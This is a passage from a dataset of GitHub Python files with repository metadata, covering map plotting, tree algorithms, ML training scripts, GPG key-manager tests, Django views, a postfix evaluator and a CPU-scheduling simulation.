= folium.FeatureGroup(name=\"Markers\")\n popul_fg = folium.FeatureGroup(name=\"Population\")\n ukraine_fg = folium.FeatureGroup(name=\"Ukraine\")\n africa_fg = folium.FeatureGroup(name=\"Africa\")\n north_am_fg = folium.FeatureGroup(name=\"North America\")\n south_am_fg = folium.FeatureGroup(name=\"South America\")\n europe_fg = folium.FeatureGroup(name=\"Europe\")\n asia_fg = folium.FeatureGroup(name=\"Asia\")\n austr_fg = folium.FeatureGroup(name=\"Australia and Oceania\")\n ucu_fg = folium.FeatureGroup(name=\"UCU\")\n\n loc_count = 0\n for key, value in diction.items():\n lat, lon = get_coordinates(key)\n brief_info = \"\"\n film_count = 0\n for el in value:\n if film_count == f_amount:\n break\n el = el.replace(\"'\", \"\").replace('\"', \"\")\n film_count += 1\n brief_info += \"{}. {}
    \".format(film_count, el)\n loc_count += 1\n print(str(loc_count) + \" of \" + str(l_amount) + \" locations added\")\n if loc_count == l_amount:\n break\n marks_fg.add_child(folium.Marker(location=[lat, lon], popup=brief_info,\n icon=folium.Icon(color=\"red\",\n icon_color=\"blue\")))\n\n if loc_count < l_amount:\n print(\"That year were people used only \" + str(loc_count)\n + \" locations to shoot films.\")\n\n popul_fg.add_child(folium.GeoJson(open('json_files/world.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'green'\n if x['properties']['POP2005'] < 10000000\n else 'yellow' if 10000000 <=\n x['properties']\n ['POP2005'] < 50000000\n else 'red' if 50000000 <=\n x['properties']\n ['POP2005'] < 100000000\n else 'black'}))\n\n ukraine_fg.add_child(folium.GeoJson(open('json_files/ukraine.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'red'}))\n\n asia_fg.add_child(folium.GeoJson(open('json_files/asia.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'yellow'}))\n\n africa_fg.add_child(folium.GeoJson(open('json_files/africa.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'green'}))\n\n europe_fg.add_child(folium.GeoJson(open('json_files/europe.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'purple'}))\n\n north_am_fg.add_child(folium.GeoJson(open('json_files/north_america.json',\n 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'maroon'}))\n\n south_am_fg.add_child(folium.GeoJson(open('json_files/south_america.json',\n 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'orange'}))\n\n austr_fg.add_child(folium.GeoJson(open('json_files/australia.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillColor': 'orange'}))\n\n ucu_fg.add_child(folium.GeoJson(open('json_files/ucu.json', 'r',\n encoding='utf-8-sig').read(),\n lambda x: {'fillCollor': 'white'}))\n\n world_map.add_child(marks_fg)\n world_map.add_child(popul_fg)\n world_map.add_child(ukraine_fg)\n world_map.add_child(asia_fg)\n world_map.add_child(africa_fg)\n world_map.add_child(north_am_fg)\n world_map.add_child(south_am_fg)\n world_map.add_child(austr_fg)\n world_map.add_child(europe_fg)\n world_map.add_child(ucu_fg)\n world_map.add_child(folium.LayerControl())\n world_map.save(\"Map.html\")\n\n\ndef main():\n \"\"\"\n (none) -> (none)\n Main function to build map\n\n returns: nothing\n \"\"\"\n\n year, film_amount, loc_amount = user_input()\n print(\"Reading the file...\")\n dictionary = parser.main(year, \"locations.list\")\n print(\"Reading finished.\")\n print(\"Building map, creating markers and additional layers\")\n map_design(dictionary, film_amount, loc_amount)\n print(\"Creating map finished successfully.\")\n print(\"Open Map.html to see result!\")\n\n\nmain()\n","repo_name":"andrwkoval/lab_2","sub_path":"film_map.py","file_name":"film_map.py","file_ext":"py","file_size_in_byte":6500,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"2746478573","text":"from itertools import combinations\ndef rSubset(arr, r):\n return list(combinations(arr, r)) \nlist1 = input(\"Enter Your List : \")\nr_arr = list(list1.split(\" \"))\nlist_unsort = [int(i) for i in r_arr]\nnew = sorted(list_unsort)\nif len(new)<3:\n print(\"Array Input Length Must More Than\",len(new))\nelse:\n combi = rSubset(new,3)\n en = []\n for i in range(len(combi)):\n if sum(combi[i]) == 5 and combi[i] not in en :\n en.append(combi[i])\n list2 = str(en)\n print(list2.replace(\"(\",\"[\").replace(\")\",\"]\"))\n","repo_name":"armyekapop/stock_project","sub_path":"Lab02/63011090_Lab02_4.py","file_name":"63011090_Lab02_4.py","file_ext":"py","file_size_in_byte":532,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"30244535508","text":"# Definition for a binary tree node\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n # @param A : root node of tree\n # @return an integer\n s = 0\n\n def traverse(self, node, num):\n if not node:\n return None\n num = num*10 + node.val\n \n\n if not node.left and not node.right:\n self.s = (self.s+num)%1003\n\n left = self.traverse(node.left, num)\n right = self.traverse(node.right, num)\n\n\n def sumNumbers(self, node):\n self.traverse(node, 0)\n return self.s\n\n\n # stack = []\n # num = 0\n # s = 0\n\n # while True:\n\n # while node:\n # stack.append(node)\n # num = num*10 + node.val\n # node = node.left\n\n \n # if not stack:\n # return\n # pop = stack.pop()\n # print(pop.val)\n # node = pop.right\n\n # # leaf\n # if not pop.left and not pop.right:\n # print(num)\n # # print(stack)\n # print('----------')\n # s += num\n # num = num // 10\n\n\nroot = TreeNode(2)\nroot.left = TreeNode(1)\nroot.left.left = TreeNode(5)\nroot.left.right = TreeNode(3)\nroot.left.right.left = TreeNode(9)\nroot.right = TreeNode(4)\nroot.right.left = TreeNode(6)\nroot.right.right = TreeNode(7)\n\nprint(Solution().sumNumbers(root))","repo_name":"farhan0581/gfgcodes","sub_path":"trees/sum_root_to_leaf.py","file_name":"sum_root_to_leaf.py","file_ext":"py","file_size_in_byte":1490,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"21408592985","text":"import torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.optim.lr_scheduler as lr_scheduler\nfrom dgl import model_zoo\nfrom torch.utils.data import DataLoader\n\nimport sys\nimport argparse\nimport rdkit\n\nfrom jtnn import *\n\ntorch.multiprocessing.set_sharing_strategy('file_system')\n\n\ndef worker_init_fn(id_):\n lg = rdkit.RDLogger.logger()\n lg.setLevel(rdkit.RDLogger.CRITICAL)\n\n\nworker_init_fn(None)\n\nparser = argparse.ArgumentParser(description=\"Training for JTNN\",\n formatter_class=argparse.ArgumentDefaultsHelpFormatter)\nparser.add_argument(\"-t\", \"--train\", dest=\"train\", default='train', help='Training file name')\nparser.add_argument(\"-v\", \"--vocab\", dest=\"vocab\", default='vocab', help='Vocab file name')\nparser.add_argument(\"-s\", \"--save_dir\", dest=\"save_path\", default='./',\n help=\"Path to save checkpoint models, default to be current working directory\")\nparser.add_argument(\"-m\", \"--model\", dest=\"model_path\", default=None,\n help=\"Path to load pre-trained model\")\nparser.add_argument(\"-b\", \"--batch\", dest=\"batch_size\", default=40,\n help=\"Batch size\")\nparser.add_argument(\"-w\", \"--hidden\", dest=\"hidden_size\", default=200,\n help=\"Size of representation vectors\")\nparser.add_argument(\"-l\", \"--latent\", dest=\"latent_size\", default=56,\n help=\"Latent Size of node(atom) features and edge(atom) features\")\nparser.add_argument(\"-d\", \"--depth\", dest=\"depth\", default=3,\n help=\"Depth of message passing hops\")\nparser.add_argument(\"-z\", \"--beta\", dest=\"beta\", default=1.0,\n help=\"Coefficient of KL Divergence term\")\nparser.add_argument(\"-q\", \"--lr\", dest=\"lr\", default=1e-3,\n help=\"Learning Rate\")\nargs = parser.parse_args()\n\ndataset = JTNNDataset(data=args.train, vocab=args.vocab, training=True)\nvocab_file = dataset.vocab_file\n\nbatch_size = int(args.batch_size)\nhidden_size = int(args.hidden_size)\nlatent_size = int(args.latent_size)\ndepth = int(args.depth)\nbeta = float(args.beta)\nlr = float(args.lr)\n\nmodel = model_zoo.chem.DGLJTNNVAE(vocab_file=vocab_file,\n hidden_size=hidden_size,\n latent_size=latent_size,\n depth=depth)\n\nif args.model_path is not None:\n model.load_state_dict(torch.load(args.model_path))\nelse:\n for param in model.parameters():\n if param.dim() == 1:\n nn.init.constant_(param, 0)\n else:\n nn.init.xavier_normal_(param)\n\nmodel = cuda(model)\nprint(\"Model #Params: %dK\" % (sum([x.nelement() for x in model.parameters()]) / 1000,))\n\noptimizer = optim.Adam(model.parameters(), lr=lr)\nscheduler = lr_scheduler.ExponentialLR(optimizer, 0.9)\nscheduler.step()\n\nMAX_EPOCH = 100\nPRINT_ITER = 20\n\n\ndef train():\n dataset.training = True\n dataloader = DataLoader(\n dataset,\n batch_size=batch_size,\n shuffle=True,\n num_workers=4,\n collate_fn=JTNNCollator(dataset.vocab, True),\n drop_last=True,\n worker_init_fn=worker_init_fn)\n\n for epoch in range(MAX_EPOCH):\n word_acc, topo_acc, assm_acc, steo_acc = 0, 0, 0, 0\n\n for it, batch in enumerate(dataloader):\n model.zero_grad()\n try:\n loss, kl_div, wacc, tacc, sacc, dacc = model(batch, beta)\n except:\n print([t.smiles for t in batch['mol_trees']])\n raise\n loss.backward()\n optimizer.step()\n\n word_acc += wacc\n topo_acc += tacc\n assm_acc += sacc\n steo_acc += dacc\n\n if (it + 1) % PRINT_ITER == 0:\n word_acc = word_acc / PRINT_ITER * 100\n topo_acc = topo_acc / PRINT_ITER * 100\n assm_acc = assm_acc / PRINT_ITER * 100\n steo_acc = steo_acc / PRINT_ITER * 100\n\n print(\"KL: %.1f, Word: %.2f, Topo: %.2f, Assm: %.2f, Steo: %.2f, Loss: %.6f\" % (\n kl_div, word_acc, topo_acc, assm_acc, steo_acc, loss.item()))\n word_acc, topo_acc, assm_acc, steo_acc = 0, 0, 0, 0\n sys.stdout.flush()\n\n if (it + 1) % 1500 == 0: # Fast annealing\n scheduler.step()\n print(\"learning rate: %.6f\" % scheduler.get_lr()[0])\n torch.save(model.state_dict(),\n args.save_path + \"/model.iter-%d-%d\" % (epoch, it + 1))\n\n scheduler.step()\n print(\"learning rate: %.6f\" % scheduler.get_lr()[0])\n torch.save(model.state_dict(), args.save_path + \"/model.iter-\" + str(epoch))\n\nif __name__ == '__main__':\n train()\n\n print('# passes:', model.n_passes)\n print('Total # nodes processed:', model.n_nodes_total)\n print('Total # edges processed:', model.n_edges_total)\n print('Total # tree nodes processed:', model.n_tree_nodes_total)\n print('Graph decoder: # passes:', model.jtmpn.n_passes)\n print('Graph decoder: Total # candidates processed:', model.jtmpn.n_samples_total)\n print('Graph decoder: Total # nodes processed:', model.jtmpn.n_nodes_total)\n print('Graph decoder: Total # edges processed:', model.jtmpn.n_edges_total)\n print('Graph encoder: # passes:', model.mpn.n_passes)\n print('Graph encoder: Total # candidates processed:', model.mpn.n_samples_total)\n print('Graph encoder: Total # nodes processed:', model.mpn.n_nodes_total)\n print('Graph encoder: Total # edges processed:', model.mpn.n_edges_total)\n","repo_name":"hacors/Drug","sub_path":"DGL/examples/pytorch/model_zoo/chem/generative_models/jtnn/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5561,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"75"} +{"seq_id":"32212348518","text":"import pytest\n\nfrom gpg_keymanager.exceptions import PGPKeyError\nfrom gpg_keymanager.keys import UserPublicKeys\nfrom gpg_keymanager.keys.loader import PublicKeyDataParser\n\nfrom ..base import mock_called_process_error, mock_pgp_key_error\n\nTOTAL_KEY_COUNT = 5\nEXPIRED_KEY_COUNT = 2\nREVOKED_KEYS_COUNT = 1\n\nTEST_EMAIL = 'hile@iki.fi'\nTEST_KEY_ID = '0x3119E470AD3CCDEC'\nTEST_FINGERPRINT = '87DF5EA2B85E025D159888ACC660ACF1DA570475'\n\n\n# pylint: disable=too-few-public-methods\nclass MockCalledMethod:\n \"\"\"\n Test class to check a method was called\n \"\"\"\n def __init__(self):\n self.call_count = 0\n self.args = None\n self.kwargs = None\n\n def __call__(self, *args, **kwargs):\n self.call_count += 1\n self.args = args\n self.kwargs = kwargs\n\n\ndef test_parser_init():\n \"\"\"\n Test initializing a PublicKeyDataParser object\n \"\"\"\n parser = PublicKeyDataParser()\n assert len(parser.__items__) == 0\n assert parser.is_loaded is False\n\n\n# pylint: disable=unused-argument\ndef test_user_keys_load(mock_gpg_key_list):\n \"\"\"\n Test loading user gpg key list with mocked test data\n \"\"\"\n keys = UserPublicKeys()\n keys.load()\n assert len(keys) == TOTAL_KEY_COUNT\n assert len(keys.expired_keys) == EXPIRED_KEY_COUNT\n assert len(keys.revoked_keys) == REVOKED_KEYS_COUNT\n\n assert len(keys.filter_keys(email=TEST_EMAIL)) == 4\n assert len(keys.filter_keys(key_id=TEST_KEY_ID)) == 1\n assert len(keys.filter_keys(fingerprint=TEST_FINGERPRINT)) == 1\n\n keys.clear()\n assert keys.get(TEST_KEY_ID) is not None\n assert keys.get(TEST_FINGERPRINT) is not None\n with pytest.raises(PGPKeyError):\n keys.get(TEST_EMAIL)\n\n\n# pylint: disable=unused-argument\ndef test_user_keys_load_error(monkeypatch, mock_gpg_key_list):\n \"\"\"\n Test error parsing keys when loading user keys\n \"\"\"\n monkeypatch.setattr(\n 'gpg_keymanager.keys.public_key.PublicKey.__load_child_record__',\n mock_pgp_key_error\n )\n keys = UserPublicKeys()\n with pytest.raises(PGPKeyError):\n keys.load()\n\n\n# pylint: disable=unused-argument\ndef test_user_keys_load_fail(monkeypatch, mock_gpg_key_list):\n \"\"\"\n Test failure loading user keys\n \"\"\"\n monkeypatch.setattr(\n 'gpg_keymanager.keys.loader.run_command_lineoutput',\n mock_called_process_error\n )\n keys = UserPublicKeys()\n with pytest.raises(PGPKeyError):\n keys.load()\n\n\n# pylint: disable=unused-argument\ndef test_user_keys_trustdb_cleanup(monkeypatch, mock_gpg_key_list):\n \"\"\"\n Test calling cleanup of user trus database from user keys\n \"\"\"\n keys = UserPublicKeys()\n\n mock_method = MockCalledMethod()\n monkeypatch.setattr(\n 'gpg_keymanager.keys.trustdb.OwnerTrustDB.remove_stale_entries',\n mock_method\n )\n keys.cleanup_owner_trust_database()\n assert mock_method.call_count == 1\n\n with pytest.raises(PGPKeyError):\n keys.__gpg_args__ = [TEST_KEY_ID]\n keys.cleanup_owner_trust_database()\n","repo_name":"hile/gpg-keymanager","sub_path":"tests/keys/test_loader.py","file_name":"test_loader.py","file_ext":"py","file_size_in_byte":3015,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"43692695477","text":"import string\n\ndef evaluate(exp):\n st = []\n for i in exp:\n if i in string.digits:\n st.append(i)\n else:\n right = st.pop()\n left = st.pop()\n temp = int(eval(left + i + right)) # if input is 08/\n st.append(str(temp))\n\n return st[-1]\n\n\n\nfor _ in range(int(input())):\n exp = input()\n result = evaluate(exp)\n print(result)","repo_name":"Pyk017/Competetive-Programming","sub_path":"Interview_Preparation_Questions/Evaluation_of_Postfix_Expressions.py","file_name":"Evaluation_of_Postfix_Expressions.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"23766219191","text":"from request_casting import request_casting\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework import status, viewsets\nfrom testme import models, serializers\nfrom django.contrib.auth.models import User\n\nclass RecordViewSet(viewsets.ModelViewSet):\n queryset = models.Record.objects.all()\n serializer_class = serializers.RecordSerializer\n\nclass PostsViewSet(viewsets.ModelViewSet):\n queryset = models.Posts.objects.all()\n serializer_class = serializers.PostsSerializer\n\n@api_view(['GET', 'POST']) \ndef integer(request):\n a=request_casting.RequestInteger(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__}, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST']) \ndef string(request):\n a=request_casting.RequestString(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST']) \ndef bool(request):\n a=request_casting.RequestBool(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__}, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST']) \ndef date(request):\n a=request_casting.RequestDate(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST'])\ndef decimal(request):\n a=request_casting.RequestDecimal(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST'])\ndef dtaware(request):\n a=request_casting.RequestDtaware(request, \"a\", \"UTC\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST'])\ndef list_of_bools(request):\n if request.method==\"GET\":\n a=request_casting.RequestListOfBools(request, \"a[]\")\n else:\n a=request_casting.RequestListOfBools(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n\n@api_view(['GET', 'POST'])\ndef list_of_integers(request):\n if request.method==\"GET\":\n a=request_casting.RequestListOfIntegers(request, \"a[]\")\n else:\n a=request_casting.RequestListOfIntegers(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK)\n \n@api_view(['GET', 'POST'])\ndef list_of_strings(request):\n if request.method==\"GET\":\n a=request_casting.RequestListOfStrings(request, \"a[]\")\n else:\n a=request_casting.RequestListOfStrings(request, \"a\")\n return Response({\"a\": a, \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK) \n \n@api_view(['GET', 'POST'])\ndef list_of_urls(request):\n if request.method==\"GET\":\n a=request_casting.RequestListOfUrls(request, \"a[]\", models.Record, model_url=\"records\")\n else:\n a=request_casting.RequestListOfUrls(request, \"a\", models.Record, model_url=\"records\")\n return Response({\"a\": str(a), \"len\": None if a is None else len(a), \"class\": a.__class__.__name__ }, status=status.HTTP_200_OK) \n \n@api_view(['GET', 'POST'])\ndef url(request):\n a=request_casting.RequestUrl(request, \"a\", models.Record, model_url=\"records\", validate_object=lambda o: o.user==User.objects.get(pk=1))\n return Response({\"a\": str(a), \"class\": a.__class__.__name__}, status=status.HTTP_200_OK) \n \n\n \n","repo_name":"turulomio/request_casting","sub_path":"django_test/testme/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3388,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"70970628401","text":"# С клавиатуры вводится текст, определить, сколько в нём гласных, а сколько согласных.\n# В случае равенства вывести на экран все гласные буквы. Посчитать количество слов в тексте.\n\ntext = input(\"Введите текст: \")\ntext = text.lower()\n\nvowels = \"аеёиоуыэюя\"\nconsonants = \"бвгджзклмнпрстфхцчшщ\"\n\nvowel = 0\nconsonant = 0\n\nvowel_list = []\n\nword = 0\n\nfor char in text:\n if char in vowels:\n vowel += 1\n vowel_list.append(char)\n elif char in consonants:\n consonant += 1\n\nwords = text.split()\nword = len(words)\n\nprint(f\"Количество гласных букв: {vowel}\")\nprint(f\"Количество согласных букв: {consonant}\")\n\nif vowel == consonant:\n print(\"Гласные буквы в тексте:\")\n print(\" \".join(vowel_list))\n\nprint(f\"Количество слов в тексте: {word}\")","repo_name":"yesterpalakian/python_lab1","sub_path":"2.py","file_name":"2.py","file_ext":"py","file_size_in_byte":1028,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"11740342853","text":"import os.path\n\n# tornado imports\nimport tornado.ioloop\nimport tornado.options\nimport tornado.web\n\nclass MainHandler(tornado.web.RequestHandler):\n def get(self):\n self.render('index.html')\n\napp = tornado.web.Application(\n handlers=[(r'/', MainHandler),\n (r'/(.*)', tornado.web.StaticFileHandler,\n {'path': os.path.dirname(__file__)})],\n debug=True\n )\n\nif __name__ == \"__main__\":\n app.listen(8888)\n tornado.ioloop.IOLoop.instance().start()\n","repo_name":"rvalme/_site","sub_path":"source_sink.py","file_name":"source_sink.py","file_ext":"py","file_size_in_byte":474,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"45453701362","text":"import os\nimport shelve\nimport gc\nimport time\n\nfrom absl import logging\nimport tensorflow as tf\nfrom tensorflow.keras.models import clone_model, load_model\nfrom tensorflow.keras.utils import plot_model\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.callbacks import ModelCheckpoint, ReduceLROnPlateau, EarlyStopping\n\nimport tensorflow_hub as hub\nfrom sklearn.model_selection import StratifiedKFold\nfrom tensorflow_addons.metrics import F1Score\n\nfrom nets.bert_model import build_bert_model\nfrom utils.plot.plot import plot_k_fold_data, plot_training_data\n\n\ndef compile_model(model,\n learn_rate: float = 0.001,\n model_path: str = './tmp/model.h5'):\n metrics = []\n metrics.append(F1Score(2, average='micro'))\n\n optimizer = Adam(lr=learn_rate)\n model.compile(loss=\"binary_crossentropy\",\n optimizer=optimizer,\n metrics=metrics)\n\n return\n\n\ndef create_callbacks(learn_rate: float = 0.001,\n model_dir: str = './tmp/debug_bert',\n model_name: str = 'bert',\n iteration: int = 0,\n epochs: int = 25,\n min_delta: float = 0.01):\n callbacks = []\n model_path = os.path.join(model_dir,\n model_name + '_' + str(iteration) + '.h5')\n cp_args = {'verbose': 1, 'save_best_only': True, 'mode': 'max'}\n\n checkpoint = ModelCheckpoint(model_path, 'val_f1_score', **cp_args)\n callbacks.append(checkpoint)\n\n weights_path = os.path.join(model_dir,\n model_name + str(iteration) + '_weights.h5')\n weights_checkpoint = ModelCheckpoint(weights_path,\n 'val_f1_score',\n save_weights_only=True,\n **cp_args)\n callbacks.append(weights_checkpoint)\n\n early_stop_patience = epochs // 2\n logging.info('early stop patience {}'.format(early_stop_patience))\n early_stop = EarlyStopping('val_f1_score',\n min_delta=min_delta,\n mode='max',\n patience=early_stop_patience,\n verbose=1)\n callbacks.append(early_stop)\n\n reduce_lr_patience = early_stop_patience // 2 - 1\n if reduce_lr_patience < 2:\n reduce_lr_patience = 2\n\n logging.info('reduce lr patience {}'.format(reduce_lr_patience))\n reduce_lr = ReduceLROnPlateau('val_f1_score',\n factor=0.1,\n min_delta=min_delta,\n mode='max',\n patience=reduce_lr_patience,\n min_lr=learn_rate * 10**-3,\n verbose=1)\n callbacks.append(reduce_lr)\n return callbacks\n\n\ndef train_bert(model_dir: str = './tmp/bert_default',\n model_name: str = 'bert_default',\n batch_size: int = 8,\n shuffle: bool = True,\n fig_name: str = 'bert',\n epochs: int = 3,\n subset: float = 1.0):\n # create save directory\n os.makedirs(model_dir, exist_ok=True)\n\n # load data\n logging.info('loading data')\n with shelve.open('./tmp/bert_data/bert_shelf') as shelf:\n train_input = shelf['train_input']\n train_output = shelf['train_output']\n test_input = shelf['test_input']\n max_token_len = shelf['max_token_len']\n bert_url = shelf['bert_url']\n\n logging.info('loading model')\n\n bert_layer = hub.KerasLayer(bert_url, trainable=True)\n model = build_bert_model(bert_layer, max_len=max_token_len)\n initial_model_path = os.path.join(model_dir, 'initial_weights.h5')\n model.save_weights(initial_model_path)\n\n splitter = StratifiedKFold(n_splits=3, shuffle=shuffle, random_state=2020)\n\n # Subset data for debugging\n train_output = train_output[:int(subset * len(train_output))]\n\n x = range(len(train_output))\n k_folds = list(splitter.split(\n x, train_output[:, 0])) # only need to use one value for grouping\n\n histories = []\n for i, (valid_idxs, train_idxs) in enumerate(k_folds):\n logging.info('training fold #{}'.format(i + 1))\n\n # load initial weights and reset states\n model.load_weights(initial_model_path)\n model.reset_states()\n\n model_path = os.path.join(model_dir, '{}_{}.h5'.format(model_name, i))\n\n # compile modelf\n compile_model(model, learn_rate=2e-6, model_path=model_path)\n\n # separate data\n fold_train_input = {\n key: val[train_idxs]\n for (key, val) in train_input.items()\n }\n fold_train_output = train_output[train_idxs]\n fold_valid_input = {\n key: val[valid_idxs]\n for (key, val) in train_input.items()\n }\n fold_valid_output = train_output[valid_idxs]\n\n callbacks = create_callbacks(model_dir=model_dir,\n model_name=model_name,\n iteration=i,\n epochs=epochs)\n\n history = model.fit(fold_train_input,\n fold_train_output,\n validation_data=(fold_valid_input,\n fold_valid_output),\n epochs=epochs,\n batch_size=batch_size,\n callbacks=callbacks)\n plot_training_data(\n history.history,\n '{}_{}.png'.format(os.path.join(model_dir, fig_name), i))\n histories.append(history)\n\n plot_k_fold_data(\n histories, '{}_combined.png'.format(os.path.join(model_dir, fig_name)))\n\n return\n","repo_name":"acvander/kaggle_real_or_not","sub_path":"training/train_bert.py","file_name":"train_bert.py","file_ext":"py","file_size_in_byte":5858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"9388744932","text":"from numbers import Number\nfrom .log import logger\n\ndef calculate_total_assets(strategy_id, configs, net_value):\n # 创建一个新的配置列表\n new_configs = []\n # 遍历原始的配置列表\n for conf in configs:\n # 尝试执行以下操作\n try:\n # 检查conf[\"ZH\"]和strategy_id是否是同一类型\n if not isinstance(conf[\"ZH\"], type(strategy_id)):\n raise TypeError(f\"conf['ZH'] and strategy_id must be the same type, got {type(conf['ZH'])} and {type(strategy_id)}\")\n # 如果conf[\"ZH\"]等于strategy_id,并且conf中没有\"total_assets\"键或其值为空或为0\n if conf[\"ZH\"] == strategy_id and (not conf.get(\"total_assets\") or conf[\"total_assets\"] == 0):\n # 计算总资产\n conf[\"total_assets\"] = float(conf[\"cap0\"]) * net_value\n # 打印日志信息\n logger.info(conf)\n # 检查总资产是否是数字类型\n if not isinstance(conf[\"total_assets\"], Number):\n raise TypeError(f\"input assets type must be number(int, float), got {type(conf['total_assets'])}\")\n # 检查总资产是否大于等于1000元\n if conf[\"total_assets\"] < 1000.0:\n raise ValueError(f\"雪球总资产不能小于1000元,当前预设值 {conf['total_assets']}\")\n # 将修改后的conf添加到新的配置列表中\n new_configs.append(conf)\n # 如果出现异常,打印错误信息,并继续循环\n except Exception as e:\n logger.error(e)\n continue\n # 返回新的配置列表\n return new_configs\n\ndef get_assets_list(zh_id, user_domains, configs):\n \"\"\"\n 这段代码用于查找并提取特定策略下的资产信息,\n 然后将这些资产信息存储在一个列表中,\n 以供进一步处理或分析。如果某些配置项不包含 \"total_assets\" 字段,它也会进行相应的输出。\n \"\"\"\n reval = []\n for idx, domain in enumerate(user_domains):\n for conf in configs:\n if conf[\"ZH\"] == zh_id and conf['host'] == domain:\n if \"total_assets\" not in conf:\n logger.info(f'Not found in {idx}, {domain}, {zh_id}')\n else:\n logger.info(f'Found in {idx}, {domain}, {zh_id}, {conf[\"total_assets\"]}')\n reval.append(conf[\"total_assets\"])\n break\n\n return reval\n","repo_name":"ben46/xqfollower","sub_path":"xqfollower/assets_mgr.py","file_name":"assets_mgr.py","file_ext":"py","file_size_in_byte":2509,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4835935942","text":"from scipy.stats import poisson\nimport matplotlib.pyplot as plt\nimport os\nimport numpy as np\nimport random\nimport matplotlib.pyplot as plt; plt.rcdefaults()\n\n#|SJF========|------\\\n# CPU\n#|FCFS=======|------/\n\ndef prand(lam): #random number with poisson formula\n\t#numpy.random.poisson(lambda, size)\n\tpoissonlist = np.random.poisson(lam, 10)\n\treturn np.average(poissonlist)\n\t\ndef urand(): #uniform random number\n\treturn int(random.randint(1,101))\n \n \n#____________________________________________________________________________MAİN____________________________________________________________________________\n\ncounter=0 #CPU clock loop counter\nforeground=[] #foreground queue\nbackground=[] #background queue\nfarrive=[] #arrival times for foreground queue\nfexecute=[] #execute times for foreground queue (processes are executed right at these moments)\nbarrive=[] #arrival times for background queue\nbexecute=[] #execute times for background queue (processes are executed right at these moments)\nfburst=[] #foreground burst times\nbburst=[] #background burst times\nfLenTime=[] #lenght of foreground queue for each clock loop x=time y=len(foreground)\nbLenTime=[]\t #lenght of background queue for each clock loop x=time y=len(background)\nffree = True #foreground dispatch allow; if same process has highest priority before one clock loop, and its not terminated yet : FALSE\nbfree = True #background dispatch allow; if queue has just terminated a process and not processing any process at the moment and ready to dispatch : TRUE\nCPUbusy = 0 #every unit time of cpu spend busy. parameter for CPU utilization\nfratio = 60 #(priority ratio)default ratio for selecting next queue to execute a process. changes automatically in adaptive cpu mode \nfratioTime=[] #priority ratio for foreground queue for each clock loop x=time y=fratio\nbratioTime=[] #priority ratio for background queue for each clock loop x=time y=fratio\ncpam = 0 #current amount of process\n\n\n#scenario and parameter select\nsce = int(input(\"Select Scenario:\\n1:Balanced\\n2:Foreground majority\\n3:Background majority\\n\"))\nblen = int(input(\"Burst Lenght:\\n1:Short\\n2:Medium\\n3:Long\\n\"))\nmpam = int(input(\"Total process amount:\\n\")) #max process amount\nadmode = int(input(\"Adaptive Mode:\\n1:Off\\n2:On\\n\"))\n#maxc = int(input(\"Maximum clock count:\\n\"))\n\nif(sce==1): #scenario 1:Balanced\n\tfsce=25 #foreground scenario value\n\tbsce=25 #background scenario value\nelif(sce==2):#scenario 2:Foreground majority\n\tfsce=30\n\tbsce=20\nelse: #scenario 3:Background majority\n\tfsce=20\n\tbsce=30\n\t\nif(blen==1): #burst lenght 1:Short\n\tfblen=3\n\tbblen=3\nelif(blen==2):#burst lenght 2:Medium\n\tfblen=5\n\tbblen=5\nelse: \t\t #burst lenght 3:Long\n\tfblen=7\n\tbblen=7\n\n#**********CPU starts**************\nwhile(1): \n\tcounter+=1 #CPU clock counter\n\t\n\tnewfp = urand() #possibility value for a foreground process joined to foreground queue\n\tnewbp = urand() 